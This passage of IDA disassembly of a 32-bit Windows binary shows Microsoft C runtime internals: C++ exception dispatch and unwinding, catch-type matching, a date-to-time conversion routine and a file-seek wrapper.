arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_421C61 call sub_4224F2 loc_421C61: ; CODE XREF: sub_421C4B+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_421C89 cmp dword ptr [esi+4], 0 jz short loc_421CDF cmp [ebp+arg_14], 0 jnz short loc_421CDF push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_421F92 add esp, 10h jmp short loc_421CDF ; --------------------------------------------------------------------------- loc_421C89: ; CODE XREF: sub_421C4B+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_421CDF cmp dword ptr [eax], 0E06D7363h jnz short loc_421CC3 cmp [eax+14h], edi jbe short loc_421CC3 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_421CC3 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_421CE2 ; --------------------------------------------------------------------------- loc_421CC3: ; CODE XREF: sub_421C4B+4Aj ; sub_421C4B+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_421CE6 add esp, 20h loc_421CDF: ; CODE XREF: sub_421C4B+23j ; sub_421C4B+29j ... push 1 pop eax loc_421CE2: ; CODE XREF: sub_421C4B+76j pop edi pop esi pop ebp retn sub_421C4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CE6 proc near ; CODE XREF: sub_421C4B+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_421D06 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_421D0B loc_421D06: ; CODE XREF: sub_421CE6+16j call sub_4224F2 loc_421D0B: ; CODE XREF: sub_421CE6+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_421E62 cmp dword ptr [esi+10h], 3 jnz short loc_421D7F cmp [esi+14h], edi jnz short loc_421D7F cmp dword ptr [esi+1Ch], 0 jnz short loc_421D7F mov esi, dword_4D97B8 test esi, esi jz loc_421E5D mov eax, dword_4D97BC push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424680 pop ecx test eax, eax pop ecx jnz short loc_421D61 call sub_4224F2 loc_421D61: ; CODE XREF: sub_421CE6+74j cmp [esi], ebx jnz loc_421E62 cmp dword ptr [esi+10h], 3 jnz short loc_421D7F cmp [esi+14h], edi jnz short loc_421D7F cmp dword ptr [esi+1Ch], 0 jnz short loc_421D7F call sub_4224F2 loc_421D7F: ; CODE XREF: sub_421CE6+41j ; sub_421CE6+46j ... cmp [esi], ebx jnz loc_421E62 cmp dword ptr [esi+10h], 3 jnz loc_421E62 cmp [esi+14h], edi jnz loc_421E62 mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D263 add esp, 14h mov ebx, eax loc_421DB6: ; CODE XREF: sub_421CE6+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_421E4D cmp [ebx], edi jg short loc_421E42 cmp edi, [ebx+4] jg short loc_421E42 mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_421E3F loc_421DDB: ; CODE XREF: sub_421CE6+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_421E0C loc_421DED: ; CODE XREF: sub_421CE6+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_421F35 add esp, 0Ch test eax, eax jnz short loc_421E1B dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_421DED loc_421E0C: ; CODE XREF: sub_421CE6+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_421DDB jmp short loc_421E3F ; --------------------------------------------------------------------------- loc_421E1B: ; CODE XREF: sub_421CE6+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422046 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421E3F: ; CODE XREF: sub_421CE6+F3j ; sub_421CE6+133j mov edi, [ebp+var_10] loc_421E42: ; CODE XREF: sub_421CE6+DEj ; sub_421CE6+E3j inc [ebp+var_4] add ebx, 14h jmp loc_421DB6 ; --------------------------------------------------------------------------- loc_421E4D: ; CODE XREF: sub_421CE6+D6j cmp [ebp+arg_14], 0 jz short loc_421E5D push 1 push esi call sub_4223BB pop ecx pop ecx loc_421E5D: ; CODE XREF: sub_421CE6+56j ; sub_421CE6+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421E62: ; CODE XREF: sub_421CE6+37j ; sub_421CE6+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_421E88 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_421E8D add esp, 20h jmp short loc_421E5D ; --------------------------------------------------------------------------- loc_421E88: ; CODE XREF: sub_421CE6+180j jmp sub_42249C sub_421CE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421E8D proc near ; CODE XREF: sub_421CE6+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4D97C0, 0 push esi push edi jz short loc_421EBE push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41D13A add esp, 1Ch test eax, eax jnz short loc_421F31 loc_421EBE: ; CODE XREF: sub_421E8D+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D263 add esp, 14h mov esi, eax loc_421EDA: ; CODE XREF: sub_421E8D+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_421F31 cmp edi, [esi] jl short loc_421F29 cmp edi, [esi+4] jg short loc_421F29 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_421F03 cmp byte ptr [ecx+8], 0 jnz short loc_421F29 loc_421F03: ; CODE XREF: sub_421E8D+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422046 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421F29: ; CODE XREF: sub_421E8D+57j ; sub_421E8D+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_421EDA ; --------------------------------------------------------------------------- loc_421F31: ; CODE XREF: sub_421E8D+2Fj ; sub_421E8D+53j pop edi pop esi leave retn sub_421E8D endp ; =============== S U B R O U T I N E ======================================= sub_421F35 proc near ; CODE XREF: sub_421CE6+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_421F8C cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_421F8C mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_421F66 add ecx, 8 push ecx push edx call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_421F88 loc_421F66: ; CODE XREF: sub_421F35+1Fj test byte ptr [esi], 2 jz short loc_421F70 test byte ptr [edi], 8 jz short loc_421F88 loc_421F70: ; CODE XREF: sub_421F35+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_421F7F test byte ptr [edi], 1 jz short loc_421F88 loc_421F7F: ; CODE XREF: sub_421F35+43j test al, 2 jz short loc_421F8C test byte ptr [edi], 2 jnz short loc_421F8C loc_421F88: ; CODE XREF: sub_421F35+2Fj ; sub_421F35+39j ... xor eax, eax jmp short loc_421F8F ; --------------------------------------------------------------------------- loc_421F8C: ; CODE XREF: sub_421F35+Bj ; sub_421F35+14j ... push 1 pop eax loc_421F8F: ; CODE XREF: sub_421F35+55j pop edi pop esi retn sub_421F35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F92 proc near ; CODE XREF: sub_421C4B+34p ; ___:00422088p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427890 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_421FC4: ; CODE XREF: sub_421F92+8Aj cmp esi, [ebp+arg_C] jz short loc_42201E cmp esi, 0FFFFFFFFh jle short loc_421FD3 cmp esi, [edi+4] jl short loc_421FD8 loc_421FD3: ; CODE XREF: sub_421F92+3Aj call sub_4224F2 loc_421FD8: ; CODE XREF: sub_421F92+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_421FF3 push 103h push ebx push eax call sub_422450 loc_421FF3: ; CODE XREF: sub_421F92+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_422013 ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_422030 pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_422013: ; CODE XREF: sub_421F92+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_421FC4 ; --------------------------------------------------------------------------- loc_42201E: ; CODE XREF: sub_421F92+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_421F92 endp ; =============== S U B R O U T I N E ======================================= sub_422030 proc near ; CODE XREF: sub_421F92+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_422041 xor eax, eax retn ; --------------------------------------------------------------------------- loc_422041: ; CODE XREF: sub_422030+Cj jmp sub_42249C sub_422030 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_422046 proc near ; CODE XREF: sub_421CE6+151p ; sub_421E8D+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_422068 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4221F7 add esp, 10h loc_422068: ; CODE XREF: sub_422046+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_422074 push edi jmp short loc_422077 ; --------------------------------------------------------------------------- loc_422074: ; CODE XREF: sub_422046+29j push [ebp+arg_24] loc_422077: ; CODE XREF: sub_422046+2Cj call sub_41D03C sub_422046 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_421F92 mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_4220C1 add esp, 2Ch test eax, eax jz short loc_4220BC push edi push eax call sub_41CFFA loc_4220BC: ; CODE XREF: ___:004220B3j pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4220C1 proc near ; CODE XREF: ___:004220A9p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278A0 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4D97B8 mov [ebp+var_1C], ecx mov ecx, dword_4D97BC mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4D97B8, edi mov ecx, [ebp+arg_8] mov dword_4D97BC, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41D0C1 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422187 mov eax, [ebp+var_2C] loc_42214E: ; CODE XREF: sub_422167+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4220C1 endp ; =============== S U B R O U T I N E ======================================= sub_42215D proc near ; DATA XREF: ___:004278B0o push dword ptr [ebp-14h] call sub_4221CD pop ecx retn sub_42215D endp ; =============== S U B R O U T I N E ======================================= sub_422167 proc near ; DATA XREF: ___:004278B4o mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41D322 pop ecx pop ecx xor eax, eax jmp short loc_42214E sub_422167 endp ; --------------------------------------------------------------------------- loc_42217F: ; DATA XREF: ___:004278A8o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422187 proc near ; CODE XREF: sub_4220C1+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4D97B8, eax mov eax, [ebp-20h] mov dword_4D97BC, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_4221CC cmp dword ptr [edi+10h], 3 jnz short locret_4221CC cmp dword ptr [edi+14h], 19930520h jnz short locret_4221CC cmp [ebp-24h], ebx jnz short locret_4221CC cmp [ebp-2Ch], ebx jz short locret_4221CC call sub_41D38A push eax push edi call sub_4223BB pop ecx pop ecx locret_4221CC: ; CODE XREF: sub_422187+1Cj ; sub_422187+22j ... retn sub_422187 endp ; =============== S U B R O U T I N E ======================================= sub_4221CD proc near ; CODE XREF: sub_42215D+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4221F4 cmp dword ptr [eax+10h], 3 jnz short loc_4221F4 cmp dword ptr [eax+14h], 19930520h jnz short loc_4221F4 cmp dword ptr [eax+1Ch], 0 jnz short loc_4221F4 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4221F4: ; CODE XREF: sub_4221CD+Cj ; sub_4221CD+12j ... xor eax, eax retn sub_4221CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4221F7 proc near ; CODE XREF: sub_422046+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278B8 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_4223A0 cmp byte ptr [eax+8], 0 jz loc_4223A0 mov eax, [ecx+8] test eax, eax jz loc_4223A0 mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_422294 mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424680 pop ecx pop ecx test eax, eax jz loc_422397 push 1 push edi call sub_42469C pop ecx pop ecx test eax, eax jz loc_422397 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422285: ; CODE XREF: sub_4221F7+F5j push eax call sub_422422 pop ecx pop ecx mov [edi], eax jmp loc_42239C ; --------------------------------------------------------------------------- loc_422294: ; CODE XREF: sub_4221F7+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4222EE mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424680 pop ecx pop ecx test eax, eax jz loc_422397 push 1 push edi call sub_42469C pop ecx pop ecx test eax, eax jz loc_422397 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41D400 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_42239C mov eax, [edi] test eax, eax jz loc_42239C add esi, 8 push esi jmp short loc_422285 ; --------------------------------------------------------------------------- loc_4222EE: ; CODE XREF: sub_4221F7+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422336 call sub_424680 pop ecx pop ecx test eax, eax jz loc_422397 push 1 push edi call sub_42469C pop ecx pop ecx test eax, eax jz short loc_422397 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_422422 pop ecx pop ecx push eax push edi call sub_41D400 add esp, 0Ch jmp short loc_42239C ; --------------------------------------------------------------------------- loc_422336: ; CODE XREF: sub_4221F7+103j call sub_424680 pop ecx pop ecx test eax, eax jz short loc_422397 push 1 push edi call sub_42469C pop ecx pop ecx test eax, eax jz short loc_422397 push dword ptr [esi+18h] call sub_4246B8 pop ecx test eax, eax jz short loc_422397 test byte ptr [esi], 4 jz short loc_42237D push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422422 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41D035 jmp short loc_42239C ; --------------------------------------------------------------------------- loc_42237D: ; CODE XREF: sub_4221F7+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422422 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41D02E jmp short loc_42239C ; --------------------------------------------------------------------------- loc_422397: ; CODE XREF: sub_4221F7+6Aj ; sub_4221F7+7Cj ... call sub_4224F2 loc_42239C: ; CODE XREF: sub_4221F7+98j ; sub_4221F7+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_4223A0: ; CODE XREF: sub_4221F7+2Ej ; sub_4221F7+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4221F7 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42249C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4223BB proc near ; CODE XREF: sub_421CE6+170p ; sub_422187+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278C8 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_422402 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_422402 and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41D02E or [ebp+var_4], 0FFFFFFFFh loc_422402: ; CODE XREF: sub_4223BB+2Aj ; sub_4223BB+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4223BB endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42249C ; =============== S U B R O U T I N E ======================================= sub_422422 proc near ; CODE XREF: sub_4221F7+8Fp ; sub_4221F7+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_422443 mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_422443: ; CODE XREF: sub_422422+12j pop esi retn sub_422422 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422450 proc near ; CODE XREF: sub_41D0C1+40p ; sub_421F92+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41D3AD push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42248F mov ecx, 2 loc_42248F: ; CODE XREF: sub_422450+38j push ecx call sub_41D3AD pop ebp pop ecx pop ebx leave retn 0Ch sub_422450 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42249C proc near ; CODE XREF: sub_421CE6:loc_421E88j ; sub_422030:loc_422041j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004246D0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D8 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4D97C4 test eax, eax jz short loc_4224E4 mov [ebp+var_4], 1 call eax jmp short loc_4224E0 ; --------------------------------------------------------------------------- loc_4224D9: ; DATA XREF: ___:004278E8o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4224DD: ; DATA XREF: ___:004278ECo mov esp, [ebp+var_18] loc_4224E0: ; CODE XREF: sub_42249C+3Bj and [ebp+var_4], 0 loc_4224E4: ; CODE XREF: sub_42249C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_4224ED: ; DATA XREF: ___:004278E0o jmp loc_4246D0 sub_42249C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4224F2 proc near ; CODE XREF: sub_41D263+23p ; sub_41D263:loc_41D2CEp ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43AC54 test eax, eax jz short loc_42253A mov [ebp+var_4], 1 call eax ; sub_42249C jmp short loc_422536 ; --------------------------------------------------------------------------- loc_42252F: ; DATA XREF: ___:00427900o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422533: ; DATA XREF: ___:00427904o mov esp, [ebp+var_18] loc_422536: ; CODE XREF: sub_4224F2+3Bj and [ebp+var_4], 0 loc_42253A: ; CODE XREF: sub_4224F2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422543: ; DATA XREF: ___:004278F8o jmp sub_42249C sub_4224F2 endp ; =============== S U B R O U T I N E ======================================= sub_422548 proc near ; CODE XREF: sub_41D743+7p ; sub_41D743+26p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_41E477 test eax, eax pop ecx jz short loc_422560 mov eax, [esi-4] pop esi sub eax, 9 retn ; --------------------------------------------------------------------------- loc_422560: ; CODE XREF: sub_422548+Ej push esi push 0 push dword_4DADA0 nop call near ptr 2651026h pop esi retn sub_422548 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422571 proc near ; CODE XREF: sub_41D81B+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_42262D cmp ebx, 8Ah jg loc_42262D push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43B11C[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4225B0 cmp edi, 2 jle short loc_4225B0 inc esi loc_4225B0: ; CODE XREF: sub_422571+37j ; sub_422571+3Cj call sub_4246E7 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43B038 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_422623 cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422629 cmp dword_43B03C, 0 jz short loc_422629 lea eax, [ebp+var_24] push eax call sub_42495A pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422629 loc_422623: ; CODE XREF: sub_422571+90j add ecx, dword_43B040 loc_422629: ; CODE XREF: sub_422571+96j ; sub_422571+9Fj ... mov eax, ecx jmp short loc_422630 ; --------------------------------------------------------------------------- loc_42262D: ; CODE XREF: sub_422571+13j ; sub_422571+1Fj or eax, 0FFFFFFFFh loc_422630: ; CODE XREF: sub_422571+BAj pop ebx leave retn sub_422571 endp ; =============== S U B R O U T I N E ======================================= sub_422633 proc near ; CODE XREF: ___:0041D9F3p ; sub_41F051+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DAB60 push esi push edi jnb short loc_4226B5 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DAA60h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4226B5 push eax call sub_4237AA cmp eax, 0FFFFFFFFh pop ecx jnz short loc_422677 mov dword_4D9714, 9 jmp short loc_4226C6 ; --------------------------------------------------------------------------- loc_422677: ; CODE XREF: sub_422633+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax nop call near ptr 27A0000h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_422697 call near ptr 26908A7h nop jmp short loc_422699 ; --------------------------------------------------------------------------- loc_422697: ; CODE XREF: sub_422633+5Aj xor eax, eax loc_422699: ; CODE XREF: sub_422633+62j test eax, eax jz short loc_4226A6 push eax call sub_420314 pop ecx jmp short loc_4226C6 ; --------------------------------------------------------------------------- loc_4226A6: ; CODE XREF: sub_422633+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4226C9 ; --------------------------------------------------------------------------- loc_4226B5: ; CODE XREF: sub_422633+Dj ; sub_422633+2Aj and dword_4D9718, 0 mov dword_4D9714, 9 loc_4226C6: ; CODE XREF: sub_422633+42j ; sub_422633+71j or eax, 0FFFFFFFFh loc_4226C9: ; CODE XREF: sub_422633+80j pop edi pop esi pop ebx retn sub_422633 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4226CD proc near ; CODE XREF: ___:0041D9B6p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch 